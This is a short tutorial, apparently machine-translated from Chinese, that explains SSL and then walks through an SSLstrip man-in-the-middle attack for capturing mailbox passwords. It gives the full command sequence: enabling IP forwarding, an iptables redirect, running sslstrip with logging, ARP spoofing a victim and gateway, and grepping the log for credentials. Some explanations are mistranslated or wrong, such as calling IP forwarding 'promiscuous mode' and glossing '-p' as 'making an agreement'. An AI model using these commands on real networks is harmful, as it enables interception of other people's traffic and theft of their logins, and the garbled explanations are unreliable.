Use SSLstrip to intercept HTTPS protocol--crawl mailboxes and other passwords

1. SSL parsing

SSL is the short name of Secure Socket layer, the Chinese meaning is Secure sockets layers, developed by Netscape Company, to ensure the security of data transmission on the Internet, so as to make sure it will not be intercepted and bugged during the transmission of the network.

The services provided by the SSL protocol are mainly:
(1) Authenticate users and servers to ensure that data is sent to the correct customers and servers.
(2) Encrypt data to prevent the data from being stolen in the middle.
(3) Maintain the integrity of the data and ensure that the data is not changed during transmission.

2, SSLstrip

The working principle and steps of SSLstrip are as follows:
(1) The first man-in-the-middle attack to intercept HTTP traffic.
(2) Replace all of the HTTPS links that appear with HTTP, and note all the changed links.
(3) Connect with the victim machine using HTTP.
(4) HTTPS is also established with a legitimate server.
(5) All communication between the victim and the legitimate server has been forwarded by proxy.

(6) Where the icon appears replaced with the user's familiar "Small yellow lock" icon to establish trust.

(7) In this way, the intermediary attack successfully cheated the password, account information, and the victim is ignorant.

Note:: http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

3. SSLstrip to attack

Test environment: Attack aircraft (Kali) + victim Machine (optional)

Attacker:

Start the NIC promiscuous mode: echo "1" >/proc/sys/net/ipv4/ip_forward

Add Firewall rule: iptables-t nat-a prerouting-p tcp--dport 80-j REDIRECT--to-port 9527

-T: Table that formulates the matching package to be manipulated by the command

-A: Add a rule at the end of the selected chain

-P: Making an agreement

--dport: Developing ports

-j: Target Jump

Open Sslstrip:python sslstrip.py-a-l 9527-w Sslstrip.log

-A: Logs all SSL and HTTP data traffic from the server;

-L: Listening port

-W: Save file

Turn on ARP spoofing: arpspoof-i eth0-t 192.168.133.130 (victim machine) 192.168.133.2 (Gateway)

Victim Machine Login 126 mailbox

Attacker viewing logs: Cat Sslstrip.log | grep "Mailbox Name"

It is said that the code can be removed, here is not ~ ~ ~

Use SSLstrip to intercept HTTPS protocol--crawl mailboxes and other passwords